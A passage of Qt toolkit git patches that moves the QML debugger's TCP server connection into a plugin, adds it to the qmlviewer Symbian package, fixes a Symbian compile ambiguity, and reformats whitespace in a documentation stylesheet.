Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativedebugservertcpconnection_p.h" - -#include "qdeclarativedebugserver_p.h" -#include "private/qpacketprotocol_p.h" - -#include -#include - - -QT_BEGIN_NAMESPACE - -class QDeclarativeDebugServerTcpConnectionPrivate { -public: - QDeclarativeDebugServerTcpConnectionPrivate(); - - int port; - QTcpSocket *socket; - QPacketProtocol *protocol; - QTcpServer *tcpServer; - - QDeclarativeDebugServer *debugServer; -}; - -QDeclarativeDebugServerTcpConnectionPrivate::QDeclarativeDebugServerTcpConnectionPrivate() : - port(0), - socket(0), - protocol(0), - tcpServer(0), - debugServer(0) -{ -} - -QDeclarativeDebugServerTcpConnection::QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server) : - QObject(server), - d_ptr(new QDeclarativeDebugServerTcpConnectionPrivate) -{ - Q_D(QDeclarativeDebugServerTcpConnection); - d->port = port; - d->debugServer = server; -} - -QDeclarativeDebugServerTcpConnection::~QDeclarativeDebugServerTcpConnection() -{ - delete d_ptr; -} - -bool QDeclarativeDebugServerTcpConnection::isConnected() const -{ - Q_D(const QDeclarativeDebugServerTcpConnection); - return d->socket && d->socket->state() == QTcpSocket::ConnectedState; -} - -void QDeclarativeDebugServerTcpConnection::send(const QByteArray &message) -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - if (!isConnected()) - return; - - QPacket pack; - pack.writeRawData(message.data(), message.length()); - - d->protocol->send(pack); - d->socket->flush(); -} - -void QDeclarativeDebugServerTcpConnection::disconnect() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - delete d->protocol; - d->protocol = 0; - delete d->socket; - d->socket = 0; -} - -void QDeclarativeDebugServerTcpConnection::listen() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServerTcpConnection::waitForConnection() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServerTcpConnection::readyRead() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - QPacket packet = d->protocol->read(); - - QByteArray content = packet.data(); - d->debugServer->receiveMessage(content); -} - -void QDeclarativeDebugServerTcpConnection::newConnection() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - if (d->socket) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; - } - - d->socket = d->tcpServer->nextPendingConnection(); - d->socket->setParent(this); - d->protocol = new QPacketProtocol(d->socket, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); -} - - -QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h deleted file mode 100644 index f1c749ef..0000000 --- a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEDEBUGSERVERTCPCONNECTION_H -#define QDECLARATIVEDEBUGSERVERTCPCONNECTION_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -#include - -class QDeclarativeDebugServer; -class QDeclarativeDebugServerTcpConnectionPrivate; -class QDeclarativeDebugServerTcpConnection : public QObject, public QDeclarativeDebugServerConnection -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeDebugServerTcpConnection) - Q_DISABLE_COPY(QDeclarativeDebugServerTcpConnection) - -public: - QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server); - ~QDeclarativeDebugServerTcpConnection(); - - bool isConnected() const; - void send(const QByteArray &message); - void disconnect(); - - void listen(); - void waitForConnection(); - -private Q_SLOTS: - void readyRead(); - void newConnection(); - -private: - QDeclarativeDebugServerTcpConnectionPrivate *d_ptr; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEDEBUGSERVERTCPCONNECTION_H diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h index 99fded5..1c69cdd 100644 --- a/src/declarative/debugger/qpacketprotocol_p.h +++ b/src/declarative/debugger/qpacketprotocol_p.h @@ -59,7 +59,7 @@ class QPacket; class QPacketAutoSend; class QPacketProtocolPrivate; -class Q_DECLARATIVE_PRIVATE_EXPORT QPacketProtocol : public QObject +class Q_DECLARATIVE_EXPORT QPacketProtocol : public QObject { Q_OBJECT public: @@ -89,7 +89,7 @@ private: }; -class Q_DECLARATIVE_PRIVATE_EXPORT QPacket : public QDataStream +class Q_DECLARATIVE_EXPORT QPacket : public QDataStream { public: QPacket(); diff --git a/src/plugins/plugins.pro b/src/plugins/plugins.pro index 722979d..07825d9 100644 --- a/src/plugins/plugins.pro +++ b/src/plugins/plugins.pro @@ -14,5 +14,4 @@ embedded:SUBDIRS *= gfxdrivers decorations mousedrivers kbddrivers symbian:SUBDIRS += s60 contains(QT_CONFIG, phonon): SUBDIRS *= phonon contains(QT_CONFIG, multimedia): SUBDIRS *= audio - - +contains(QT_CONFIG, declarative): SUBDIRS *= qmldebugging diff --git a/src/plugins/qmldebugging/qmldebugging.pro b/src/plugins/qmldebugging/qmldebugging.pro new file mode 100644 index 0000000..01cf1a9 --- /dev/null +++ b/src/plugins/qmldebugging/qmldebugging.pro @@ -0,0 +1,4 @@ +TEMPLATE = subdirs + +SUBDIRS = tcpserver + diff --git a/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp new file mode 100644 index 0000000..69c1ef5 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp @@ -0,0 +1,173 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtcpserverconnection.h" + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + +class QTcpServerConnectionPrivate { +public: + QTcpServerConnectionPrivate(); + + int port; + QTcpSocket *socket; + QPacketProtocol *protocol; + QTcpServer *tcpServer; + + QDeclarativeDebugServer *debugServer; +}; + +QTcpServerConnectionPrivate::QTcpServerConnectionPrivate() : + port(0), + socket(0), + protocol(0), + tcpServer(0), + debugServer(0) +{ +} + +QTcpServerConnection::QTcpServerConnection() : + d_ptr(new QTcpServerConnectionPrivate) +{ + +} + +QTcpServerConnection::~QTcpServerConnection() +{ + delete d_ptr; +} + +void QTcpServerConnection::setServer(QDeclarativeDebugServer *server) +{ + Q_D(QTcpServerConnection); + d->debugServer = server; +} + +bool QTcpServerConnection::isConnected() const +{ + Q_D(const QTcpServerConnection); + return d->socket && d->socket->state() == QTcpSocket::ConnectedState; +} + +void QTcpServerConnection::send(const QByteArray &message) +{ + Q_D(QTcpServerConnection); + + if (!isConnected()) + return; + + QPacket pack; + pack.writeRawData(message.data(), message.length()); + + d->protocol->send(pack); + d->socket->flush(); +} + +void QTcpServerConnection::disconnect() +{ + Q_D(QTcpServerConnection); + + delete d->protocol; + d->protocol = 0; + delete d->socket; + d->socket = 0; +} + +void QTcpServerConnection::setPort(int port, bool block) +{ + Q_D(QTcpServerConnection); + d->port = port; + + listen(); + if (block) + d->tcpServer->waitForNewConnection(-1); +} + +void QTcpServerConnection::listen() +{ + Q_D(QTcpServerConnection); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + + +void QTcpServerConnection::readyRead() +{ + Q_D(QTcpServerConnection); + QPacket packet = d->protocol->read(); + + QByteArray content = packet.data(); + d->debugServer->receiveMessage(content); +} + +void QTcpServerConnection::newConnection() +{ + Q_D(QTcpServerConnection); + + if (d->socket) { + qWarning("QDeclarativeDebugServer: Another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->socket = d->tcpServer->nextPendingConnection(); + d->socket->setParent(this); + d->protocol = new QPacketProtocol(d->socket, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + + +Q_EXPORT_PLUGIN2(tcpserver, QTcpServerConnection) + +QT_END_NAMESPACE + diff --git a/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h new file mode 100644 index 0000000..a6e17e6 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QTCPSERVERCONNECTION_H +#define QTCPSERVERCONNECTION_H + +#include +#include + +QT_BEGIN_NAMESPACE + +class QDeclarativeDebugServer; +class QTcpServerConnectionPrivate; +class QTcpServerConnection : public QObject, public QDeclarativeDebugServerConnection +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QTcpServerConnection) + Q_DISABLE_COPY(QTcpServerConnection) + Q_INTERFACES(QDeclarativeDebugServerConnection) + + +public: + QTcpServerConnection(); + ~QTcpServerConnection(); + + void setServer(QDeclarativeDebugServer *server); + void setPort(int port, bool bock); + + bool isConnected() const; + void send(const QByteArray &message); + void disconnect(); + + void listen(); + void waitForConnection(); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + QTcpServerConnectionPrivate *d_ptr; +}; + +QT_END_NAMESPACE + +#endif // QTCPSERVERCONNECTION_H diff --git a/src/plugins/qmldebugging/tcpserver/tcpserver.pro b/src/plugins/qmldebugging/tcpserver/tcpserver.pro new file mode 100644 index 0000000..e90fb34 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/tcpserver.pro @@ -0,0 +1,18 @@ +TARGET = tcpserver +QT += declarative network + +include(../../qpluginbase.pri) + +QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/qmldebugging +QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)" + +SOURCES += \ + qtcpserverconnection.cpp + +HEADERS += \ + qtcpserverconnection.h + +target.path += $$[QT_INSTALL_PLUGINS]/qmldebugging +INSTALLS += target + +symbian:TARGET.UID3=0x20031E90 \ No newline at end of file -- cgit v0.12 From 35ae0b8146bca7a61203ee347654aed27951439c Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 9 Dec 2010 13:06:08 +0100 Subject: QDeclarativeDebug: Include debugger plugin in qmlviewer.sis Developers that want to debug qml on their device have to now install qmlviewer.sis. Reviewed-by: Christiaan Janssen --- tools/qml/qml.pro | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/qml/qml.pro b/tools/qml/qml.pro index bdac6e3..9b07ebe 100644 --- a/tools/qml/qml.pro +++ b/tools/qml/qml.pro @@ -43,6 +43,11 @@ symbian { contains(QT_CONFIG, s60): { LIBS += -lavkon -lcone } + + # Deploy plugin for remote debugging + qmldebuggingplugin.sources = $$QT_BUILD_TREE/plugins/qmldebugging/tcpserver$${QT_LIBINFIX}.dll + qmldebuggingplugin.path = c:$$QT_PLUGINS_BASE_DIR/qmldebugging + DEPLOYMENT += qmldebuggingplugin } mac { QMAKE_INFO_PLIST=Info_mac.plist -- cgit v0.12 From 3290135e88bd8a01e20842c9d1cdca5fe569bf62 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 16 Dec 2010 14:39:15 +0100 Subject: Symbian compile fix armv5 complained that the call to QChar::category() was ambiguous, because there is a version taking an uint, and a version taking ushort as argument. Reviewed-by: Christiaan Janssen --- src/script/bridge/qscriptdeclarativeclass.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp index 92248a0..13736bc 100644 --- a/src/script/bridge/qscriptdeclarativeclass.cpp +++ b/src/script/bridge/qscriptdeclarativeclass.cpp @@ -473,7 +473,7 @@ bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier) JSC::UString::Rep *r = (JSC::UString::Rep *)identifier; if (r->size() < 1) return false; - return QChar::category(r->data()[0]) == QChar::Letter_Uppercase; + return QChar::category((ushort)(r->data()[0])) == QChar::Letter_Uppercase; } quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok) -- cgit v0.12 From 90c77df38c8168991ae69776a45aa4d08466f541 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 14:13:46 +0100 Subject: Whitespace fixes. --- doc/src/template/style/style.css | 1086 +++++++++++----------- tools/qdoc3/test/qt-html-default-styles.qdocconf | 2 +- 2 files changed, 534 insertions(+), 554 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index d623bd4..4f9e26c 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -1,6 +1,6 @@ @media screen { - + /* basic elements */ html { @@ -20,7 +20,7 @@ fieldset, img { border: 0; - max-width:100%; + max-width:100%; } address, caption, cite, code, dfn, em, strong, th, var, optgroup { @@ -60,10 +60,10 @@ { vertical-align: baseline; } - tt, .qmlreadonly span, .qmldefault span - { - word-spacing:5px; - } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:5px; + } legend { color: #000000; @@ -88,7 +88,7 @@ font-style: italic; } - /* adding Qt theme */ + /* adding Qt theme */ html { /* background-color: #e5e5e5;*/ @@ -117,9 +117,9 @@ pre { border: 1px solid #DDDDDD; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; margin: 0 20px 10px 10px; padding: 20px 15px 20px 20px; overflow-x: auto; @@ -135,14 +135,14 @@ font-size: 11px; margin-bottom: 25px; } - pre.highlightedCode { - display: block; - overflow:hidden; - } + pre.highlightedCode { + display: block; + overflow:hidden; + } thead { margin-top: 5px; - font:600 12px/1.2 Arial; + font:600 12px/1.2 Arial; } th { @@ -155,11 +155,11 @@ padding: 3px 15px 3px 20px; } tr.odd td:hover, tr.even td:hover {} - - td.rightAlign - { + + td.rightAlign + { padding: 3px 5px 3px 10px; - } + } table tr.odd { border-left: 1px solid #E6E6E6; @@ -228,10 +228,10 @@ { font-size: 13px; } - .red - { - color:red; - } + .red + { + color:red; + } /* end font style elements */ /* global settings*/ @@ -255,7 +255,7 @@ clear: both; visibility: hidden; } - + /* end global settings*/ /* header elements */ .header @@ -295,7 +295,7 @@ color: #4c0033; text-decoration: underline; } - + #nav-topright { height: 70px; @@ -428,10 +428,10 @@ { font-variant: normal; } - .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover - { - text-decoration:none; - } + .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover + { + text-decoration:none; + } #shortCut { padding-top: 10px; @@ -461,9 +461,9 @@ color: #44a51c; } - - -/* end header elements */ + + +/* end header elements */ /* content and sidebar elements */ .wrapper { @@ -514,17 +514,15 @@ background: url(../images/page.png) no-repeat 100% -60px; overflow: hidden; } - .navTop{ - float:right; - display:block; - padding-right:15px; + .navTop{ + float:right; + display:block; + padding-right:15px; + } - } - - -/* end content and sidebar elements */ +/* end content and sidebar elements */ /* sidebar elements */ .sidebar { @@ -553,9 +551,9 @@ .sidebar .search form { background: url(../images/sprites-combined.png) no-repeat -6px -348px; - height:21px; - padding:2px 0 0 5px; - width:167px; + height:21px; + padding:2px 0 0 5px; + width:167px; } .sidebar .search form input#pageType @@ -613,10 +611,10 @@ .sidebar .box .list { display: block; - max-height:200px; - min-height:120px; - overflow-y:auto; - overflow-x:none; + max-height:200px; + min-height:120px; + overflow-y:auto; + overflow-x:none; } .list li a:hover { @@ -624,9 +622,9 @@ } .sidebar .box ul { - padding-bottom:5px; - padding-left:10px; - padding-top:5px; + padding-bottom:5px; + padding-left:10px; + padding-top:5px; } .sidebar .box ul li { @@ -638,143 +636,143 @@ { background: url(../images/box_bg.png) repeat-x 0 bottom; } - .sidebar .box ul li.noMatch + .sidebar .box ul li.noMatch { background: none; - color:#FF2A00; - font-style:italic; + color:#FF2A00; + font-style:italic; } - .sidebar .box ul li.hit + .sidebar .box ul li.hit { background: none; - color:#AAD2F0; - font-style:italic; - } - .sidebar .search form input.loading - { - background:url("../images/spinner.gif") no-repeat scroll right center transparent; - } - - .sidebar .search form { - _height: 23px; - _width: 169px; - } - - #resultdialog { - display: none; - position: absolute; - *left: 30px; - _left: 0; - *top: 35px; - _top: 30px; - _zoom: 1; - background-color: #fff; - border: 1px solid #666; - z-index: 4; - margin-top: 5px; - _margin: 0 0 0 -20px; - padding: 10px; - width: 30%; - _width: 196px; - height: 250px; - overflow: auto; - -webkit-border-radius: .5em; - -moz-border-radius: .5em; - border-radius: .5em; - -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - font-size: 11px; - } - - #resultdialog a - { + color:#AAD2F0; + font-style:italic; + } + .sidebar .search form input.loading + { + background:url("../images/spinner.gif") no-repeat scroll right center transparent; + } + + .sidebar .search form { + _height: 23px; + _width: 169px; + } + + #resultdialog { + display: none; + position: absolute; + *left: 30px; + _left: 0; + *top: 35px; + _top: 30px; + _zoom: 1; + background-color: #fff; + border: 1px solid #666; + z-index: 4; + margin-top: 5px; + _margin: 0 0 0 -20px; + padding: 10px; + width: 30%; + _width: 196px; + height: 250px; + overflow: auto; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + border-radius: .5em; + -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + font-size: 11px; + } + + #resultdialog a + { color: #00732f; - } - - #resultdialog.active { - display: block; - } - - .narrow #resultdialog { - width: 60%; - _width: 360px; - } - - .narrow #resultdialog.active { - right: 10px; - *left: auto; - _left: auto; - _right: -20px; - } - - - #resultdialog #resultclose { - float: right; - } - - #resultdialog p, - #resultdialog ul { - clear: both; - margin: 3px 0; - } - - p#searchcount span { - display: none; - } - - p#searchcount.all span#resultcount, - p#searchcount.api span#apicount, - p#searchcount.article span#articlecount, - p#searchcount.example span#examplecount { - display: inline; - } - - #resultlist li { - display: none; - } - - #resultlist.api li.api, - #resultlist.article li.article, - #resultlist.example li.example, - #resultlist.all li { - display: block; - } - - #resultlinks.api a#showapiresults, - #resultlinks.api a#showapiresults:hover, - #resultlinks.article a#showarticleresults, - #resultlinks.article a#showarticleresults:hover, - #resultlinks.example a#showexampleresults, - #resultlinks.example a#showexampleresults:hover, - #resultlinks.all a#showallresults, - #resultlinks.all a#showallresults:hover { - color: #B0ADAB; - } - .floatingResult{ - z-index:1; - position:relative; - padding-top:0px; - background-color:white; - border:solid 1px black; - height:250px; - width:600px; - overflow-x:hidden; - overflow-y:auto; - } - - .floatingResult:hover{ - display:block; - } - .floatingResult:hover{ - } - + } + + #resultdialog.active { + display: block; + } + + .narrow #resultdialog { + width: 60%; + _width: 360px; + } + + .narrow #resultdialog.active { + right: 10px; + *left: auto; + _left: auto; + _right: -20px; + } + + + #resultdialog #resultclose { + float: right; + } + + #resultdialog p, + #resultdialog ul { + clear: both; + margin: 3px 0; + } + + p#searchcount span { + display: none; + } + + p#searchcount.all span#resultcount, + p#searchcount.api span#apicount, + p#searchcount.article span#articlecount, + p#searchcount.example span#examplecount { + display: inline; + } + + #resultlist li { + display: none; + } + + #resultlist.api li.api, + #resultlist.article li.article, + #resultlist.example li.example, + #resultlist.all li { + display: block; + } + + #resultlinks.api a#showapiresults, + #resultlinks.api a#showapiresults:hover, + #resultlinks.article a#showarticleresults, + #resultlinks.article a#showarticleresults:hover, + #resultlinks.example a#showexampleresults, + #resultlinks.example a#showexampleresults:hover, + #resultlinks.all a#showallresults, + #resultlinks.all a#showallresults:hover { + color: #B0ADAB; + } + .floatingResult{ + z-index:1; + position:relative; + padding-top:0px; + background-color:white; + border:solid 1px black; + height:250px; + width:600px; + overflow-x:hidden; + overflow-y:auto; + } + + .floatingResult:hover{ + display:block; + } + .floatingResult:hover{ + } + /* end sidebar elements */ /* content elements */ .wrap { margin: 0 5px 0 208px; - overflow: visible; + overflow: visible; } @@ -784,7 +782,7 @@ { background-color: #fafafa; border-bottom: 1px solid #d1d1d1; - height: 20px; + height: 20px; position: relative; } .wrap .toolbar .toolblock @@ -870,7 +868,7 @@ .wrap .content { padding: 30px; - word-wrap:break-word; + word-wrap:break-word; } .wrap .breadcrumb ul @@ -902,29 +900,29 @@ - .wrap .content ol li { - background:none; - font:normal 10pt/1.2 Verdana; + .wrap .content ol li { + background:none; + font:normal 10pt/1.2 Verdana; - margin-bottom:10px; - margin-left:12px; - /*list-style-type:disc;*/ - } + margin-bottom:10px; + margin-left:12px; + /*list-style-type:disc;*/ + } .wrap .content ol li { - background:none; - margin-bottom: 10px; - padding-left:0px; - margin-left:52px; + background:none; + margin-bottom: 10px; + padding-left:0px; + margin-left:52px; } - + .wrap .content li { background: url(../images/bullet_sq.png) no-repeat 0 5px; font: normal 400 10pt/1.2 Verdana; - margin-bottom: 10px; - padding-left:12px; + margin-bottom: 10px; + padding-left:12px; } .content li:hover {} @@ -935,16 +933,16 @@ } .wrap .content h2 { - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content h3 { font: bold 14px/1.2 Arial; - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content p { @@ -954,25 +952,25 @@ .wrap .content table p { line-height: 20px; - } + } .wrap .content ul { padding-left: 25px; padding-top: 10px; } - .wrap .content ul img { - vertical-align:middle; - } + .wrap .content ul img { + vertical-align:middle; + } a:hover { color: #4c0033; text-decoration: underline; } - descr p a + descr p a { text-decoration: underline; } - + .descr p a:visited { text-decoration: underline; @@ -993,56 +991,56 @@ color: #00732F; text-decoration: underline; } - .alphaChar{ - width:95%; - background-color:#F6F6F6; - border:1px solid #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - font-size:12pt; - padding-left:10px; - margin-top:10px; - margin-bottom:10px; - } - .flowList{ - /*vertical-align:top;*/ - /*margin:20px auto;*/ - - column-count:3; - -webkit-column-count:3; - -moz-column-count:3; + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; /* - column-width:100%; - -webkit-column-width:200px; - -col-column-width:200px; + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; */ - column-gap:41px; - -webkit-column-gap:41px; - -moz-column-gap:41px; - - column-rule: 1px dashed #ccc; - -webkit-column-rule: 1px dashed #ccc; - -moz-column-rule: 1px dashed #ccc; - } - - .flowList dl{ - } - .flowList dd{ - /*display:inline-block;*/ - margin-left:10px; - min-width:250px; - line-height: 1.5; - min-width:100%; - min-height:15px; - } - - .flowList dd a{ - } - - .wrap .content .flowList p{ - padding:0px; - } + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .wrap .content .flowList p{ + padding:0px; + } .content .alignedsummary { @@ -1092,7 +1090,7 @@ background-color: #e6e7e8; z-index: 4; } - #feedcloseX + #feedcloseX { display: inline; padding: 5px 5px 0 0; @@ -1110,25 +1108,25 @@ height: 120px; margin: 0px 25px 10px 15px; } - #noteHead - { - font-weight:bold; - padding:10px 10px 10px 20px; - } + #noteHead + { + font-weight:bold; + padding:10px 10px 10px 20px; + } #feedsubmit { display: inline; float: right; margin: 4px 32px 0 0; } - - .note - { - font-size:7pt; - padding-bottom:3px; - padding-left:20px; - } - + + .note + { + font-size:7pt; + padding-bottom:3px; + padding-left:20px; + } + #blurpage { display: none; @@ -1160,67 +1158,67 @@ font: bold 12px/1.2 Arial; } - .generic{ - } - .generic td{ - /* padding:5px;*/ - } - .generic .alphaChar{ - margin-top:5px; - } - - .generic .odd .alphaChar{ + .generic{ + } + .generic td{ + /* padding:5px;*/ + } + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ background-color: #F6F6F6; - } - - .generic .even .alphaChar{ + } + + .generic .even .alphaChar{ background-color: #FFFFFF; - } - - .alignedsummary{} - .propsummary{} - .memItemLeft{} - .memItemRight{ - padding:3px 15px 3px 0; - } - .bottomAlign{} - .highlightedCode - { - margin:10px; - } - .LegaleseLeft{} - 